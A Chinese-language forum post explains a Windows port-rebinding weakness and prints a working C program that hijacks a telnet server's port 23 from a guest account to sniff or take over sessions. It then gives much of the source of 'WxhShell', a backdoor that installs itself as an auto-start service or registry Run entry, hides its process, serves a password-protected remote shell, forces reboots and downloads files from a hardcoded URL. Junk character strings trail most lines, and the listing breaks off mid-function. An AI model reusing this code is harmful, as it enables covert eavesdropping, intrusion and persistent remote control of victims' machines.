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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o <LA2 q`T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B dm<<<  
/>\.zuAr&  
  saddr.sin_family = AF_INET; J.":oD  
 6" 3!9JC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HkxFDU-K  
;,*U,eV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B!< {s'  
-'k<2"z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nngL,-v#F  
s@o"V >t  
  这意味着什么?意味着可以进行如下的攻击: C%#C|X193  
XuHJy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n*D)RiW  
/eR@&!D '  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oTOe(5N8a  
}W<]fK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4E3HYZ  
A'|W0|R9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :KX/GN!n  
I?-9%4 8iM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ltcr]T(Ic  
C bG"8F|4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  [.z1  
#f/-iu=L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aqs']  
Q8Usyc'3  
  #include F>A-+]X3o  
  #include IG +nrTY0  
  #include KUH&_yCRB  
  #include    +cy(}Vp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h.'h L  
  int main() S%&l(=0X  
  { O0b8wpF f  
  WORD wVersionRequested; XrSqU D  
  DWORD ret; & PHHacp  
  WSADATA wsaData; TaM,9MAu  
  BOOL val; ]RnX'yw^  
  SOCKADDR_IN saddr; !^q<)!9<EO  
  SOCKADDR_IN scaddr; mMT7`r;l  
  int err; :CHCVoh@95  
  SOCKET s; XNu2G19jb  
  SOCKET sc; x+yt| &B  
  int caddsize; Q'~;RE%T  
  HANDLE mt; "@` mPe/  
  DWORD tid;   ,\}V.:THF  
  wVersionRequested = MAKEWORD( 2, 2 ); ;5y4v  
  err = WSAStartup( wVersionRequested, &wsaData ); "cJ5Fd:*  
  if ( err != 0 ) { Vzbl* Zmx  
  printf("error!WSAStartup failed!\n"); @292;qi  
  return -1; Y/Y746I  
  } lt0(Kf g  
  saddr.sin_family = AF_INET; b'9G`Y s^  
   G=Ka{J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D zDt:.JZ  
y L&n)   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WHAEB1c#Q  
  saddr.sin_port = htons(23); f.+e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l`$f@'k  
  { {!oO>t  
  printf("error!socket failed!\n"); Y]8l]l 1  
  return -1; {2Gp+&  
  } +~FH'DsT  
  val = TRUE; {AIZ,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~sSB.g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -ZihEyG?V  
  { :sT<<LtI-  
  printf("error!setsockopt failed!\n"); z eIBB  
  return -1; DU1,i&(  
  } i-E&Y*\^9H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [U3z*m>e;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qd{|"(9B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TqbKH08i/  
PVEEKKJP]J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j1d#\  
  { } A# C  
  ret=GetLastError(); 2~]c`/M3  
  printf("error!bind failed!\n"); e`}|*^-  
  return -1; 3Q`'C7Pi  
  } >Ckb9A  
  listen(s,2); gn(n</\/O  
  while(1) 3'&]v6|  
  { Nt/*VYUn  
  caddsize = sizeof(scaddr); HM[BFF[;/  
  //接受连接请求 kFk+TXLDIt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O~aS&g/sf  
  if(sc!=INVALID_SOCKET) &a:>P>\  
  { de ](l687I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  pd X9G  
  if(mt==NULL) dwx1 EdJ{  
  { 9,,v 0tE  
  printf("Thread Creat Failed!\n"); [BV{=;iD  
  break; @RaMO#  
  } wp*;F#:G  
  } GB[W'QGiq  
  CloseHandle(mt); 0W=IuPDU  
  } c yN_Sg  
  closesocket(s); 5jjJQ'  
  WSACleanup(); >) S a#w;  
  return 0; ]Uxx_1$,  
  }   23+GX&Rp  
  DWORD WINAPI ClientThread(LPVOID lpParam) b|fq63ar;  
  { XTeU 2I  
  SOCKET ss = (SOCKET)lpParam; I|R9@  
  SOCKET sc; \-sD RW  
  unsigned char buf[4096]; * rs_k/2(  
  SOCKADDR_IN saddr; !4z"a@$  
  long num; Jge;/f!i  
  DWORD val; HVu_@[SYR3  
  DWORD ret; )0d3sJ8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QL\'pW5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }){hQt7  
  saddr.sin_family = AF_INET;  ;\iQZ~   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lXz<jt@5  
  saddr.sin_port = htons(23); cIgFSwQ 4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jJ?3z ,h  
  { LQ{4r1,u]  
  printf("error!socket failed!\n"); {ZfTUt)-P  
  return -1; l_}c[bAUu  
  } c8}1-MKs_R  
  val = 100; vk#xCggK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _wHqfj)  
  { 7CQ48LH]  
  ret = GetLastError(); jliKMd<?  
  return -1; Tp0Tce/  
  } 92} , A`=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZGp8$Y>r  
  { R(q fP  
  ret = GetLastError(); Y@.:U*  
  return -1; a>Q7Qn  
  } U\b,W&%P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i.byHz?/  
  { ^AEg?[q  
  printf("error!socket connect failed!\n"); ZMx<:0ai  
  closesocket(sc); O~xc> w  
  closesocket(ss); ;CU3CLn  
  return -1; ="I]D I  
  } bTn-Pg){  
  while(1) K, 35*  
  { (nV/-#*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '{Ywb@Bc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -i;#4@^t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )T2Sw z/  
  num = recv(ss,buf,4096,0); M=!x0V;  
  if(num>0) h<uRlTk  
  send(sc,buf,num,0); W~7q&||;C  
  else if(num==0) u|w[ b9^r  
  break; _|s{G  
  num = recv(sc,buf,4096,0); 2KPXRK  
  if(num>0) 8ztY_"]3p  
  send(ss,buf,num,0); #U6Wv1H{Lp  
  else if(num==0) ;>Kxl}+R  
  break; f:HRrKf9  
  } zfxxPL'  
  closesocket(ss); 02=eE|Y@  
  closesocket(sc); Zo&U3b{Dy  
  return 0 ; 2 K` hH  
  } g4~{#P^i  
NVOY,g=3X  
Q04N  
========================================================== jN B-FVaT  
,D#~%kq~  
下边附上一个代码,,WXhSHELL w1iQ#.4K_  
9RAN$\AKy  
========================================================== 8~4{e,} ,  
7W 4[1  
#include "stdafx.h" oFY'Ek;d  
0gnr@9,X  
#include <stdio.h> ousoG$Pc  
#include <string.h> EW YpYMkm  
#include <windows.h> `VS/ Xyp  
#include <winsock2.h> 30B! hj$C  
#include <winsvc.h> XLOk+Fn  
#include <urlmon.h> 3:76x  
%3~jg  
#pragma comment (lib, "Ws2_32.lib") _\u'~wWl  
#pragma comment (lib, "urlmon.lib") :@n e29,}  
6rR}qV,+{  
#define MAX_USER   100 // 最大客户端连接数 -1U]@s  
#define BUF_SOCK   200 // sock buffer 1 "4AS_Q  
#define KEY_BUFF   255 // 输入 buffer 2.2 s>?\  
<ZCjQkka>r  
#define REBOOT     0   // 重启 $@DXS~UQA  
#define SHUTDOWN   1   // 关机 !$&K~>`  
7MBz&wE^f  
#define DEF_PORT   5000 // 监听端口 n.Ekpq\  
$e0sa=/  
#define REG_LEN     16   // 注册表键长度 AC 3 ;i  
#define SVC_LEN     80   // NT服务名长度 t&-7AjS5  
[,l BY-Kz+  
// 从dll定义API y5oiH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MF>?! !  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C/lp Se  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H!7/U_AH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R{Cj]:Ky  
C !uwD  
// wxhshell配置信息 XFH7jHnL+U  
struct WSCFG { ,Y}HP3  
  int ws_port;         // 监听端口 %/~Sq?f-9@  
  char ws_passstr[REG_LEN]; // 口令 &Tl3\T0D  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xi$uK-AHpj  
  char ws_regname[REG_LEN]; // 注册表键名 z+Y0Zh";/#  
  char ws_svcname[REG_LEN]; // 服务名 +AXui|mn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (?oK+,v?L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7TlOF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .p <!2   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3rOv j&2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f`vB$r>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ALPZc:  
k`xPf\^tf  
}; BK6oW3wD/  
*\-6p0~A  
// default Wxhshell configuration Lw2EA 5  
struct WSCFG wscfg={DEF_PORT, dTS 7l02  
    "xuhuanlingzhe", l8jm7@.E  
    1, JrS|Ib)6  
    "Wxhshell", _sx]`3/86  
    "Wxhshell", 3-z57f,}6~  
            "WxhShell Service", EtKy?]i  
    "Wrsky Windows CmdShell Service", b$%W<D  
    "Please Input Your Password: ", $xNZ.|al  
  1, G4]T  
  "http://www.wrsky.com/wxhshell.exe", Qp]V~s(  
  "Wxhshell.exe" 5_0Eh!sx  
    }; 51l:  
CO-9-sQx  
// 消息定义模块 AvH^9zEE(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qy/xJ>:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _KLKa/3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8+^q9rLii  
char *msg_ws_ext="\n\rExit."; XeJn,=  
char *msg_ws_end="\n\rQuit."; K#tT \  
char *msg_ws_boot="\n\rReboot..."; z'j4^Xz?%$  
char *msg_ws_poff="\n\rShutdown..."; H $XO] \  
char *msg_ws_down="\n\rSave to "; 9x23## s  
xrf z-"n4  
char *msg_ws_err="\n\rErr!"; yIA- +# r[  
char *msg_ws_ok="\n\rOK!"; 6||zfH  
k_/*> lIZY  
char ExeFile[MAX_PATH]; 'de&9\  
int nUser = 0; K>N\U@@8i  
HANDLE handles[MAX_USER]; 0EKi?vP@y7  
int OsIsNt; k`_sKr]9  
2.qEy6  
SERVICE_STATUS       serviceStatus; +9<"Y6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $mgW|TBXCQ  
~5q1zr)E  
// 函数声明 yX0n yhq  
int Install(void); *%E4 ,(T  
int Uninstall(void); Kejp7 okb  
int DownloadFile(char *sURL, SOCKET wsh); wQEsq<  
int Boot(int flag); d)1 d0ES  
void HideProc(void); SFv'qDA  
int GetOsVer(void); 3f@@|vZF  
int Wxhshell(SOCKET wsl); -U.>K,M  
void TalkWithClient(void *cs); 9sJ=Nldq  
int CmdShell(SOCKET sock); Q V)>+6\  
int StartFromService(void); &N:Iirg  
int StartWxhshell(LPSTR lpCmdLine); <A^sg?s<'  
kUGOkSP8[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;G.5.q[A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ($'W(DH4  
2RG6m=Y8y  
// 数据结构和表定义 ~G,_4}#"pM  
SERVICE_TABLE_ENTRY DispatchTable[] = w;W# 'pE  
{ ]l>LU2 sx  
{wscfg.ws_svcname, NTServiceMain}, %PM&`c98z7  
{NULL, NULL} "ngULpb{R  
}; !K*(# [  
ti'B}bH>'  
// 自我安装 Bs)'Gk`1  
int Install(void) 0Un?[O  
{ oq${}n<  
  char svExeFile[MAX_PATH]; 3>M%?d  
  HKEY key; B\S}*IE  
  strcpy(svExeFile,ExeFile); lonV_Xx  
 |W_;L6)  
// 如果是win9x系统,修改注册表设为自启动 V^Y'!w\LGI  
if(!OsIsNt) { 2[j(C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B X\/Am11  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~I6N6T Z  
  RegCloseKey(key); j 5}'*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,_iq$I;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `OFW^Esc  
  RegCloseKey(key); !6!Gx:  
  return 0; Co>e<be%S  
    } M8nfbc^  
  } o3]Lrzh  
} f7YBhF  
else { h4Wt oE>i  
s@Dln Du .  
// 如果是NT以上系统,安装为系统服务 v{d$DZUs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V6Mt;e)C  
if (schSCManager!=0) @`$'sU  
{ J0V`sK  
  SC_HANDLE schService = CreateService k/P.[5  
  ( *4/FN TC  
  schSCManager, L4,b ThSG  
  wscfg.ws_svcname, HS[($  
  wscfg.ws_svcdisp, Q2/65$ nW  
  SERVICE_ALL_ACCESS, /sfJ:KP0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ])}a^]0q  
  SERVICE_AUTO_START, B*Q9g r  
  SERVICE_ERROR_NORMAL, B (Ps/  
  svExeFile, cbN;Kv?ak}  
  NULL, m g,1*B'  
  NULL, ^/_Yk.w  
  NULL, F~q(@.b  
  NULL, 1U% /~  
  NULL F+"_]  
  ); }}"pQ!Z  
  if (schService!=0) h PL]B_<  
  { }R`Rqg-W  
  CloseServiceHandle(schService); (+c1.h  
  CloseServiceHandle(schSCManager); ],_+J *  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )/?H]o$NU  
  strcat(svExeFile,wscfg.ws_svcname); d]poUN~x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h5SJVa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q.p.$)  
  RegCloseKey(key); ,jOJ\WXP  
  return 0; NMe{1RM  
    } %x N${4)6  
  } v\GVy[Qyv  
  CloseServiceHandle(schSCManager); ]} dQ~lOE  
} k,[*h-{8  
} >))CXGE  
#MKM.T,\t  
return 1; #=t/wAE y:  
} T]ls&cW5  
u<Y#J,p`e  
// 自我卸载  =*&[K^  
int Uninstall(void) l|=4FIMD  
{ +LF#XS@  
  HKEY key; zw[' hqW  
f. "\~  
if(!OsIsNt) { xNzGp5H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ];Z6=9n  
  RegDeleteValue(key,wscfg.ws_regname); kk %32(By  
  RegCloseKey(key); CJ* D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Z23lF 9  
  RegDeleteValue(key,wscfg.ws_regname); $c9-Q+pZ  
  RegCloseKey(key); XEgJ7h_  
  return 0; VGmvfhf#"  
  } r/2= nE  
} 5?lc%,-&  
} 7~SwNt,  
else { 0?<#!  
F}5d>nw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Q^~O*cw  
if (schSCManager!=0) V&w2pp0  
{ I|U'@E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .E<nQWz 8  
  if (schService!=0) ;$QC_l''b  
  { f<NR6],}  
  if(DeleteService(schService)!=0) { X*QS/\  
  CloseServiceHandle(schService); P( hGkY=(  
  CloseServiceHandle(schSCManager); X_]rtG  
  return 0; xSm;~')g  
  } & 3BoK/y3  
  CloseServiceHandle(schService); |'q%9 #  
  } >#w;67he2  
  CloseServiceHandle(schSCManager); ZEAUoC1E1  
} JVYH b 60Z  
} ;f =m+QXU  
Ho>Np&  
return 1; r-<O'^C  
} dE7S[O  
^U }k   
// 从指定url下载文件 t:2v`uk  
int DownloadFile(char *sURL, SOCKET wsh) z3Q&O$5\  
{ .\n` 4A1z  
  HRESULT hr; +n)n6} S  
char seps[]= "/"; T.4&P#a1  
char *token; m1l6QcT1  
char *file; "9wD|wsz  
char myURL[MAX_PATH]; Dwp,d~z  
char myFILE[MAX_PATH]; m^k0j/  
!y= R)k  
strcpy(myURL,sURL); -QrC>3xZR  
  token=strtok(myURL,seps); Mfj82rHg  
  while(token!=NULL) ,%M[$S'  
  { A*EOn1hN  
    file=token; Rff F:,b  
  token=strtok(NULL,seps); wDJ`#"5p{  
  } v $Iw?y  
''y.4dvX  
GetCurrentDirectory(MAX_PATH,myFILE); u^1#9bAW8  
strcat(myFILE, "\\"); KJA :;   
strcat(myFILE, file); v1 .3gzR  
  send(wsh,myFILE,strlen(myFILE),0); CkT(\6B-  
send(wsh,"...",3,0); JE=t e(a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X\AH^I6S  
  if(hr==S_OK) nlwqSXw  
return 0; xu2 KEwgb  
else S/nPK,^d2  
return 1; Zh=a rlk  
9} (w*>_L  
} *doNPp)m  
aD^$v  
// 系统电源模块 n HseA  
int Boot(int flag) 2cR[~\_9.  
{ zLpCKndj  
  HANDLE hToken; K~N$s "Qx  
  TOKEN_PRIVILEGES tkp; &mwd0%4  
E/P~HE{  
  if(OsIsNt) { EB~]6.1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?sf<cFF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !@xO]Jwv  
    tkp.PrivilegeCount = 1; Vy\Vpp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -V2\s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N3%X>*'  
if(flag==REBOOT) { VdLoi\-/L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H@Dpht>[  
  return 0; "Ms;sdjg}&  
} W>K^55'  
else { XKoY!Y\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rUiYR]mV  
  return 0; YX\vk/[|  
} J|`0GDSn  
  } #b/qR^2qW  
  else { '7Gv_G_  
if(flag==REBOOT) { h051Ol\v*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I;(3)^QH#  
  return 0; at: li  
} d1b] +AG4  
else { ;cor\ R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dzf2`@8#  
  return 0;  : T*Q2  
} BOs/:ZbK0W  
} LG #^g6P  
BR,-:?z  
return 1; }qNc `8h  
} G t w>R  
$Ome]+0  
// win9x进程隐藏模块 c8l>OS5i3_  
void HideProc(void) j4.wd RK  
{ +iVEA(0&$  
p"g|]@m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A# {63_H  
  if ( hKernel != NULL ) T$4{fhV \  
  { zWHq4@K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (]|h6aI'}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }A#IBqf5  
    FreeLibrary(hKernel); _P>YG<*"kQ  
  } #[93$)Gd!  
IGlR,tw_/  
return; k]b*&.EY1  
} TdtV (  
swKkY`g  
// 获取操作系统版本 +v Bi7#&  
int GetOsVer(void) Y G+|r  
{ Q;M\fBQO}&  
  OSVERSIONINFO winfo; ?,} u6tH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $3-v W{<  
  GetVersionEx(&winfo); ^h(wi`i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zLI0RI.Pe  
  return 1; }z3j7I  
  else  g'0CYY  
  return 0; ^D yw(>9  
} {e|qQ4~h  
|VfEp  
// 客户端句柄模块 'h>uR|  
int Wxhshell(SOCKET wsl) |V9[a a*c  
{ d*(aue=  
  SOCKET wsh; 1b,a3w(:1  
  struct sockaddr_in client; e8m,q~%#/  
  DWORD myID; 8{ zX=  
`Q] N]mK  
  while(nUser<MAX_USER) &Y@i:O  
{ }X(&QZ7i`  
  int nSize=sizeof(client); +mQ5\14#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =L6#=7hcl  
  if(wsh==INVALID_SOCKET) return 1; Gp"GTPT{  
_;lw,;ftA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tFN >]`Z  
if(handles[nUser]==0) dzVi ~wt_&  
  closesocket(wsh); U|^xr~q!f-  
else $=aO*i  
  nUser++; @6u/)>rI  
  } 7|rH9Bc{U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zk3Pv0c  
sZ;|NAx)  
  return 0; lqzt[zgN  
} 60D36b(  
u9lZHh#V-  
// 关闭 socket 36d nS>4  
void CloseIt(SOCKET wsh) j\>LJai"  
{ .l}Ap7@  
closesocket(wsh); H4/wO  
nUser--; _|k$[^ln^  
ExitThread(0); |Uh8b %  
} r pNb.  
p/H.bG!z  
// 客户端请求句柄 ?gH[la  
void TalkWithClient(void *cs) @d75X YKu  
{ |tXA$}"L8  
bIQ,=EA1  
  SOCKET wsh=(SOCKET)cs; (In{GA7 ;  
  char pwd[SVC_LEN]; 2HbnE&  
  char cmd[KEY_BUFF]; e UPa5{P  
char chr[1]; 9&mSF0q  
int i,j; bO~y=Pa \  
mHD_cgKN  
  while (nUser < MAX_USER) { [&x9<f6  
`lhw*{3A  
if(wscfg.ws_passstr) { @W,jy$U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #-{<d% qk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U,P_bz*)  
  //ZeroMemory(pwd,KEY_BUFF); j3-YZKpg  
      i=0; `Sod]bO +U  
  while(i<SVC_LEN) { 4u{S?Ryy  
Y&|Z*s+ +}  
  // 设置超时 6FS%9.Ws  
  fd_set FdRead; kY0HP a  
  struct timeval TimeOut; $|4@Zx4vf  
  FD_ZERO(&FdRead); LoF/45|-<  
  FD_SET(wsh,&FdRead); ^r}c&@  
  TimeOut.tv_sec=8; ,Oo`*'a[o7  
  TimeOut.tv_usec=0; I-#H+\S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F(")ga$r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UG| /Px ]  
SZ` 7t=I2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]a3$hAcj6"  
  pwd=chr[0]; AFLtgoXn:  
  if(chr[0]==0xd || chr[0]==0xa) { ?K1B^M=8  
  pwd=0; cNll??j  
  break; `oRyw6Sko  
  } 3?OQ-7,  
  i++; sXLW';Fz  
    } >.:+|Br`  
MK< y$B{}  
  // 如果是非法用户,关闭 socket  01kRe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rPxRGoR  
} _&KqmQ8$7  
Im]@#X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]8G 'R-8}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H MOIUd  
dSI"yz  
while(1) { zzmC[,u}  
_,3ljf?WQM  
  ZeroMemory(cmd,KEY_BUFF); bG;fwgAr  
-t-f&`S||  
      // 自动支持客户端 telnet标准   62xOh\(  
  j=0; `sjY#Ua<  
  while(j<KEY_BUFF) { 5Cf!NNV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4jT6h9%  
  cmd[j]=chr[0]; /2^L;#  
  if(chr[0]==0xa || chr[0]==0xd) { "2%z;!U1  
  cmd[j]=0; .)E#*kLWR  
  break; L!f~Am:#  
  } vHaM yA-  
  j++; \PX4>/d@y  
    } }D1x%L  
G?Et$r7:R  
  // 下载文件 `kKssU<  
  if(strstr(cmd,"http://")) { 8}%F`=Y0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =vThtl/azD  
  if(DownloadFile(cmd,wsh)) c[@_t.%)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {X,%GI  
  else X'A`" }=_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lg^'/8^f  
  } r[9m-#)>  
  else { X4!93  
UB~K/r`.|  
    switch(cmd[0]) { e02Hf{eOfw  
  Ae5A@4  
  // 帮助 4KPn V+h"b  
  case '?': { O>`k@X@9/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kUBE+a6#  
    break; ?<Qbp;WBo  
  } dJuyJl$*  
  // 安装 vG|!d+  
  case 'i': { '1u?-2  
    if(Install()) i?L=8+9f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%!m%+K9a  
    else VH7t^fb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UiU/p  
    break; XJul~"  
    } T!/o^0w  
  // 卸载 xd?=#d  
  case 'r': { NKY|Z\  
    if(Uninstall()) i0M6;W1T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>{%$@4  
    else (l5p_x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^^q&VL  
    break;  %:26v  
    } d+n2 c`i  
  // 显示 wxhshell 所在路径 #p+iwW-  
  case 'p': { HDm]njF%qQ  
    char svExeFile[MAX_PATH]; Y e0,0Fpw  
    strcpy(svExeFile,"\n\r"); lHiWzt u  
      strcat(svExeFile,ExeFile); PRfq_:xy  
        send(wsh,svExeFile,strlen(svExeFile),0); .Ys e/oEo  
    break; #H$lBC WI  
    } e;i 6C%DB  
  // 重启 }L0 [ Jo:  
  case 'b': { (bm^R-SbB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MqJTRBs%  
    if(Boot(REBOOT)) EBhdP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # epP~J_f  
    else { 9J:|"@)N  
    closesocket(wsh); l|q-kRRjn  
    ExitThread(0); 9nY`rF8@  
    } %/dOV[/  
    break; t 7Y*/v&P(  
    } F .S^KK  
  // 关机 F:/x7]7??Z  
  case 'd': { iEn:Hh)  
